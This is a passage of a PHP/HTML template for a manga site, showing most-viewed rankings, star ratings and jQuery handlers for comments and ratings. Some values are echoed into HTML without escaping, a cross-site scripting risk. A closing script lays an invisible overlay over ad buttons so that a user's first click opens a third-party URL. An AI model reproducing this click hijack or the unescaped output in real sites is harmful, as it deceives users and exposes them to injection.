$rm['latest_chapter_id'] ?>" title="<?= $rm['latest_chapter'] ?>" class="link no-decoration my-1 text-light text-small one-line" data-v-74ec4422="" data-v-4b575bc4=""> <?= $rm['latest_chapter'] ?> </a> <div data-v-56107fc8="" data-v-4b575bc4="" class="row align-center"> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($rm['rating'] > 0) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($rm['rating'] > 1) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($rm['rating'] > 2) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($rm['rating'] > 3) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if ($rm['rating'] > 4) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <span data-v-70d8a0c4="" data-v-56107fc8="" class="ml-2 text grey normal" style="font-size: 9.6px;"><?= intval($rm['rating']) ?></span> </div> </div> </div> <?php } ?> </div> </section> </div> </div> </div> <div data-v-189babae="" data-v-5afa414d="" data-v-394b8d08="" class="section-container p-3 ranking-container" data-v-ca6cf050=""> <div data-v-189babae=""> <h2 data-v-189babae="" class="section-title" style="text-decoration: none!important; color: #ff9c00!important;"> Most Viewed </h2> <div data-v-189babae="" class="divider mb-2"></div> </div> <div data-v-3f267cc0="" data-v-5afa414d="" data-v-6a8dae3e="" style="border:0;" class="segment-container row mt-1 mb-1"> </div> <?php $ranking = 1; foreach($mostViews as $mv) { ?> <div data-v-661257d6="" data-v-5afa414d="" class="row ranking-item-container py-3" data-v-189babae=""> <div data-v-661257d6="" class="ranking-index"> <span data-v-70d8a0c4="" data-v-661257d6="" class="text inverse small"><?= $ranking ?></span> </div> <a data-v-74ec4422="" data-v-661257d6="" href="<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($mv['title']))) ?>" class="link no-decoration" title="<?= $mv['title'] ?>"> <img data-v-a1ebd7c8="" data-v-661257d6="" src="<?= $dbhelper->getImageSource() . $mv['display_image'] ?>" alt="story" title="story" class="ml-3"> </a> <div data-v-661257d6="" class="column ml-3 flex-fill"> <a data-v-74ec4422="" data-v-661257d6="" href="<?= preg_replace('/[^a-z0-9-]/', '', str_replace(' ','-', strtolower($mv['title']))) ?>" class="link no-decoration one-line" title="<?= $mv['title'] ?>"> <?= $mv['title'] ?> </a> <span data-v-661257d6="" class="my-1"> <span data-v-70d8a0c4="" data-v-661257d6="" class="text grey small">Genres: </span> <?php $genres = explode(",", $mv['genres']); ?> <?php foreach ($genres as $g) { ?> <a data-v-74ec4422="" data-v-33875cb2="" href="/genre.php?genre=<?= $g ?>" class="link no-decoration comic-info-link" title="<?= $g ?>"> <?= $g ?> </a> <?php } ?> </span> <?php $m_ratings = $dbhelper->getMangaRatings($mv['id'])[0]; ?> <div data-v-56107fc8="" data-v-4b575bc4="" class="row align-center"> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if($m_ratings['average_rating'] > 0) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if($m_ratings['average_rating'] > 1) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if($m_ratings['average_rating'] > 2) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if($m_ratings['average_rating'] > 3) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <svg data-v-56107fc8="" xmlns="http://www.w3.org/2000/svg" width="12px" height="12px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-star star-default <?php if($m_ratings['average_rating'] > 4) { echo 'star-checked'; } ?>"> <polygon data-v-56107fc8="" points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"></polygon> </svg> <span data-v-70d8a0c4="" data-v-56107fc8="" class="ml-2 text grey normal" style="font-size: 9.6px;"><?= number_format( $m_ratings['average_rating'], 2); ?></span> </div> </div> </div> <?php $ranking += 1; } ?> </div> </div> </div> </div> <?php include('footer.php'); ?> </div> <div role="alert" class="snackbar-error snackbar-container snackbar-hide" data-v-143f642f="" data-v-5fa6951a=""> <div class="flex relative row align-center px-3" data-v-143f642f=""> <div class="snackbar-indicator indicator-error" data-v-143f642f=""></div> <svg xmlns="http://www.w3.org/2000/svg" width="50px" height="50px" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-alert-circle color-error" data-v-143f642f=""> <circle cx="12" cy="12" r="10" data-v-143f642f=""></circle> <line x1="12" y1="8" x2="12" y2="12" data-v-143f642f=""></line> <line x1="12" y1="16" x2="12.01" y2="16" data-v-143f642f=""></line> </svg> <div class="column px-4 py-3" data-v-143f642f=""> <span class="bold text inverse large" data-v-70d8a0c4="" data-v-143f642f="">Failed </span> <span class="mt-2 text inverse normal" data-v-70d8a0c4="" data-v-143f642f=""></span> </div> </div> </div> <div class="snackbar-bg" data-v-aa051a02="" data-v-5fa6951a=""> <div class="snackbar snackbar-container snackbar-hide" data-v-aa051a02=""> <div class="flex relative row align-center px-3" data-v-aa051a02=""> <div class="column px-4 py-3" data-v-aa051a02=""> <span bold="" class="mt-2 text dark normal" data-v-70d8a0c4="" data-v-aa051a02="">You need to <a href="https://mangalegend.com/sign-in" data-v-70d8a0c4="" data-v-aa051a02="">login</a> to use this function.</span> <div class="cancel mt-3" data-v-aa051a02="">Cancel</div> </div> </div> </div> </div> <div data-v-78a91c7e="" data-v-5fa6951a=""></div> </div> </div> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/owl.carousel.min.js"></script> <script src="//cdn.datatables.net/2.0.7/js/dataTables.min.js"></script> <script> $(function() { let table = new DataTable('#tbl_comments',{searching: false, pagingType: 'simple_numbers', ordering: false}) }); $(".image-slider1").owlCarousel({ margin: 5, loop: true, autoplay: true, nav: true, dots: false, navText: ["<i class='fa fa-chevron-left'></i>", "<i class='fa fa-chevron-right'></i>"], responsive: { 0: { items: 3 }, 600: { items: 3, merge: true, }, 1000: { items: 6 } } }); $(".readmore-link").click(function(e) { // record if our text is expanded var isExpanded = $(e.target).hasClass("expand"); //close all open paragraphs $(".readmore.expand").removeClass("expand"); $(".readmore-link.expand").removeClass("expand"); // if target wasn't expand, then expand it if (!isExpanded) { $(e.target).parent(".readmore").addClass("expand"); $(e.target).addClass("expand"); } }); $('#commentForm').submit(function(event) { event.preventDefault() $.ajax({ url: '/actions.php', dataType: 'text', type: 'post', contentType: 'application/x-www-form-urlencoded', data: $('#commentForm').serialize(), success: function(data, textStatus, jQxhr) { var result = JSON.parse(data) if (result.success) { Swal.fire({ icon: 'Success', title: 'Comment submited', showConfirmButton: true }).then(function() { location.reload(); }); } else { Swal.fire({ icon: 'error', title: result.message, showConfirmButton: true }) } }, error: function(jqXhr, textStatus, errorThrown) { console.log(errorThrown); } }); }) function updateRating(value) { var params = { action: 'give_rating', manga_id: <?= $manga['id'] ?>, rating_value: value }; $.ajax({ url: '/actions.php', dataType: 'text', type: 'post', contentType: 'application/x-www-form-urlencoded', data: $.param(params), success: function (data, textStatus, jQxhr) { var result = JSON.parse(data) if (result.success) { Swal.fire({ icon: 'Success', title: result.message, showConfirmButton: true }).then(function() { location.reload(); }); } else { Swal.fire({ icon: 'error', title: result.message, showConfirmButton: true }) } }, error: function (jqXhr, textStatus, errorThrown) { console.log(errorThrown); } }); } document.addEventListener('DOMContentLoaded', () => { // Select all buttons with the class 'myAdButton' const buttons = document.querySelectorAll('.myButtonad'); buttons.forEach((button) => { // Create the overlay layer const layer = document.createElement('div'); layer.className = 'click-layer'; // Use class instead of ID for multiple layers // Style the button to be relative button.style.position = 'relative'; // Append the layer inside the button button.appendChild(layer); // Add click event listener to the overlay layer.addEventListener('click', () => { window.open('https://webbed-leadership.com/IFcS2v', '_blank'); layer.remove(); // Remove the layer after one click }); }); }); </script> <?php include('script.php'); ?> </body> </html>
Close